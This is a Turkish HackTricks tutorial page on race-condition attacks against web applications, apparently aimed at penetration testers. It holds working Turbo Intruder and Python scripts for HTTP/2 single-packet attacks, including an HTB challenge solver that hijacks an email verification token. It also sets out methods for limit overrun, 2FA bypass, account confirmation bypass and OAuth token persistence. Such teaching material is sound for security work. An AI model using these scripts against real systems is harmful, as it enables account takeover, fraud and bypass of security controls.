# Yarış Koşulu
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
{% hint style="warning" %} Bu teknik hakkında derin bir anlayış elde etmek için orijinal raporu [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) kontrol edin. {% endhint %} ## Yarış Koşulu Saldırılarını Geliştirme Yarış koşullarından faydalanmanın ana engeli, birden fazla isteğin **çok az farkla işlenmesini sağlamaktır - ideal olarak, 1 ms'den az**. İşte Senkronize İstekler için bazı teknikler: #### HTTP/2 Tek Paket Saldırısı vs. HTTP/1.1 Son-Byte Senkronizasyonu * **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki isteği göndermeyi destekler, ağ titremesi etkisini azaltır. Ancak, sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu sömürüsü için yeterli olmayabilir. * **HTTP/1.1 'Son-Byte Senkronizasyonu'**: 20-30 isteğin çoğu kısmını önceden göndermeyi sağlar, küçük bir parçayı tutarak, ardından birlikte gönderilerek sunucuya aynı anda varmalarını sağlar. **Son-Byte Senkronizasyonu için Hazırlık** şunları içerir: 1. Başlık ve son bayt hariç gövde verilerini gönderme, akışı sonlandırmadan. 2. İlk gönderimden sonra 100 ms beklemek. 3. Son çerçeveleri toplu olarak göndermek için TCP\_NODELAY'i devre dışı bırakma. 4. Bağlantıyı ısıtmak için ping gönderme. Tutulan çerçevelerin sonradan gönderilmesi, Wireshark üzerinden tek bir pakette varmaları gerektiğini göstermelidir. Bu yöntem genellikle RC saldırılarıyla ilişkilendirilmeyen statik dosyalara uygulanmaz. ### Sunucu Mimarisiyle Uyum Sağlama Hedefin mimarisini anlamak önemlidir. Ön uç sunucuları istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısınması, önemsiz istekler aracılığıyla istek zamanlamasını normalize edebilir. #### Oturum Tabanlı Kilitleri Ele Alma PHP'nin oturum işleyicisi gibi çerçeveler, istekleri oturum bazında seri hale getirebilir ve potansiyel olarak güvenlik açıklarını gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlayabilir. #### Hız veya Kaynak Sınırlarını Aşma Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan tek paket saldırısını kolaylaştırabilir. ## Saldırı Örnekleri * **Tubo Intruder - HTTP2 tek paket saldırısı (1 uç nokta)**: İsteği **Turbo intruder**'a gönderebilirsiniz (`Uzantılar` -> `Turbo Intruder` -> `Turbo Intruder'a Gönder`), istekte **`%s`** için kaba kuvvet yapmak istediğiniz değeri değiştirebilirsiniz, örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`**'yi seçebilirsiniz:
**Farklı değerler gönderecekseniz**, bu kodu panelden bir kelime listesi kullanan bu kodla değiştirebilirsiniz: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Eğer web HTTP2'yi desteklemiyorsa (yalnızca HTTP1.1), `Engine.BURP2` yerine `Engine.THREADED` veya `Engine.BURP` kullanın. {% endhint %} * **Tubo Intruder - HTTP2 tek paket saldırısı (Çeşitli uç noktalar)**: RCE'yi tetiklemek için bir uç noktaya bir istek göndermeniz ve ardından diğer uç noktalara birden fazla istek göndermeniz gerektiğinde, `race-single-packet-attack.py` betiğini aşağıdaki gibi değiştirebilirsiniz: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Ayrıca, Burp Suite'deki yeni '**Paralel olarak grup gönder**' seçeneği aracılığıyla **Repeater** üzerinde de mevcuttur. * **Limit aşımı** için grup içinde **aynı isteği 50 kez ekleyebilirsiniz**. * **Bağlantı ısınması** için, web sunucusunun statik olmayan bir kısmına bazı **istekler** ekleyebilir ve bunları **grubun başına ekleyebilirsiniz**. * Bir isteği işleme ve diğerine geçme arasındaki süreci **geciktirmek** için, 2 alt durum adımında **her iki istek arasına ek istekler ekleyebilirsiniz**. * **Çoklu uçlu** bir RC için, **gizli duruma giden isteği** göndermeye başlayabilir ve ardından bunu takip eden **50 istek** göndererek **gizli durumu sömürebilirsiniz**.
* **Otomatik python betiği**: Bu betiğin amacı, bir kullanıcının e-posta adresini değiştirmek ve sürekli olarak doğrulamayı sürdürmek, yeni e-posta adresinin doğrulama belirteci eski e-postaya ulaşana kadar (çünkü kodda, e-postayı değiştirmenin mümkün olduğu ancak e-posta değişkeninin zaten ilk e-postayla doldurulduğu bir RC görüldü).\ "objetivo" kelimesi alınan e-postalarda bulunduğunda, değiştirilen e-postanın doğrulama belirtecini aldığımızı biliriz ve saldırıyı sonlandırırız. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Ham BF Önceki araştırmadan önce, yalnızca bir YC oluşturmak için paketleri mümkün olduğunca hızlı bir şekilde göndermeye çalışan bazı kullanılan yükler şunlardı. - **Tekrarlayıcı:** Önceki bölümden örnekleri kontrol edin. - **Sızdıran:** **İsteği** **Sızdıran**'a gönderin, **İşlem menüsü içindeki iş parçacığı sayısını 30** olarak ayarlayın, **Boş yükler** olarak seçin ve **30** oluşturun. - **Turbo Sızdıran** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Yarış Koşulu Metodolojisi** ### Limit aşımı / TOCTOU Bu, bir eylemi gerçekleştirme sayısını sınırlayan yerlerde ortaya çıkan **zayıflıkların** en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak gibi. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hata**](https://hackerone.com/reports/759247) bulunabilir. Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında: * Bir hediye kartını birden fazla kez kullanmak * Bir ürünü birden fazla kez derecelendirmek * Hesap bakiyenizi aşan miktarda para çekme veya transfer etme * Tek bir CAPTCHA çözümünü tekrar kullanma * Bir anti-brute-force hız sınırını aşma ### **Gizli alt durumlar** Karmaşık yarış koşullarını sömürmek genellikle gizli veya **istenmeyen makine alt durumlarıyla** etkileşim için kısa fırsatları değerlendirmeyi gerektirir. İşte bu konuya nasıl yaklaşılacağı: 1. **Potansiyel Gizli Alt Durumları Tanımlayın** * Kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın, örneğin kullanıcı profilleri veya şifre sıfırlama süreçleri. Odaklanılacak noktalar: * **Depolama**: Sunucu tarafında kalıcı verileri işleyen uç noktaları, istemci tarafında veri işleyenlere göre tercih edin. * **Eylem**: Var olan veriyi değiştiren işlemleri arayın, yeni veri ekleyenlere göre sömürülebilir koşullar yaratma olasılığı daha yüksektir. * **Anahtarlama**: Başarılı saldırılar genellikle aynı tanımlayıcıya (örneğin, kullanıcı adı veya sıfırlama belirteci) dayalı işlemleri içerir. 2. **İlk Sondajı Yapın** * Belirlenen uç noktaları yarış koşulu saldırılarıyla test ederek beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler, bir zayıflık işareti olabilir. 3. **Zafiyeti Gösterin** * Zafiyeti sömürmek için genellikle sadece iki isteğin gerektiği minimum sayıya indirin. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir. ### Zaman Hassas Saldırılar İsteklerdeki zamanlama hassasiyeti, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, aynı anda yapılan istekler için benzer belirteçlere izin verebilir. **Sömürmek İçin:** * Aynı anda şifre sıfırlama istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Benzer belirteçler, bir zayıflık işaret edebilir. **Örnek:** * Aynı anda iki şifre sıfırlama belirteci isteyin ve karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir. **Bunu denemek için** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **sayfasına bakın.** ## Gizli alt durumlar vaka çalışmaları ### Ödeme yap ve bir Öğe ekle **Bu [PortSwigger Lab](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)** sayfasına bakarak bir mağazada **ödeme yapmayı** ve **ücretsiz ekstra bir öğe eklemeyi** nasıl yapacağınızı görün. ### Diğer e-postaları onayla Fikir, **aynı anda bir e-posta adresini doğrulamak ve farklı bir e-posta adresine değiştirmek** ve platformun yeni değiştirileni doğrulayıp doğrulamadığını bulmaktır. ### 2 e-posta adresine e-posta değiştirme Çerez tabanlı [**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre Gitlab, bir e-postanın doğrulama belirtecinin diğer e-postaya **gönderilebileceği** için bu şekilde ele geçirilebilir. **Bunu denemek için** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **sayfasına bakın.** ### Gizli Veritabanı durumları / Onayı Atlatma Eğer bir **veritabanına bilgi eklemek** için **2 farklı yazma işlemi** kullanılıyorsa, **veritabanına yalnızca ilk verinin yazıldığı küçük bir zaman dilimi** oluşur. Örneğin, bir kullanıcı oluşturulurken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **belirteç** yazılabilir. Bu, bir hesabın onaylanması için **belirtecin bir süre boş olabileceği** anlamına gelir. Bu nedenle, **bir hesap kaydı oluşturmak ve hemen hesabı onaylamak için boş bir belirteçle** (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postayı **onaylamanıza** olanak tanıyabilir. **Bunu denemek için** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **sayfasına bakın.** ### 2FA'yı Atlatma Aşağıdaki sözdizimi kodu, **2FA'nın uygulanmadığı** ve oturumun oluşturulduğu çok kısa bir süre içinde yarış koşuluna açık olduğundan zayıf durumdadır: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 sonsuz kalıcılık Birkaç [**OAuth sağlayıcısı**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları doğrulamanıza izin verecektir. Bunun için **istemci**, **uygulamanıza erişim izni vermesi** gerekecektir. Böylece, Google/LinkedIn/Github gibi yaygın bir giriş işlemi yapılırken "_Uygulama \, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_" şeklinde bir sayfayla karşılaşırsınız. #### `authorization_code` içinde Yarış Koşulu **Sorun**, bunu **kabul ettiğinizde** ve kötü niyetli uygulamaya otomatik olarak bir **`authorization_code`** gönderildiğinde ortaya çıkar. Ardından, bu **uygulama, `authorization_code` içindeki Yarış Koşulunu kötüye kullanarak AT/RT** (_Kimlik Doğrulama Jetonu/Yenileme Jetonu_) için hesabınızdan **birden fazla hesap oluşturur**. Temelde, verilerinize erişim izni verdiğinizin farkında olarak **birkaç hesap oluşturacaktır**. Sonra, eğer **uygulamanın verilerinize erişim iznini kaldırırsanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır**. #### `Refresh Token` içinde Yarış Koşulu Geçerli bir RT aldıktan sonra, **onu kötüye kullanarak birkaç AT/RT oluşturmaya çalışabilirsiniz** ve **kullanıcı kötü niyetli uygulamanın verilerine erişim iznini iptal etse bile birkaç RT hala geçerli olacaktır**. ## **WebSockets'te Yarış Koşulu** [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) içinde, **WebSockets'te de Yarış Koşullarını kötüye kullanmak için paralel olarak websocket mesajları göndermek** için bir Java PoC bulabilirsiniz. ## Referanslar * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) ile öğrenin! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. * **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek **destekleyin**.
\ Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest'i**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}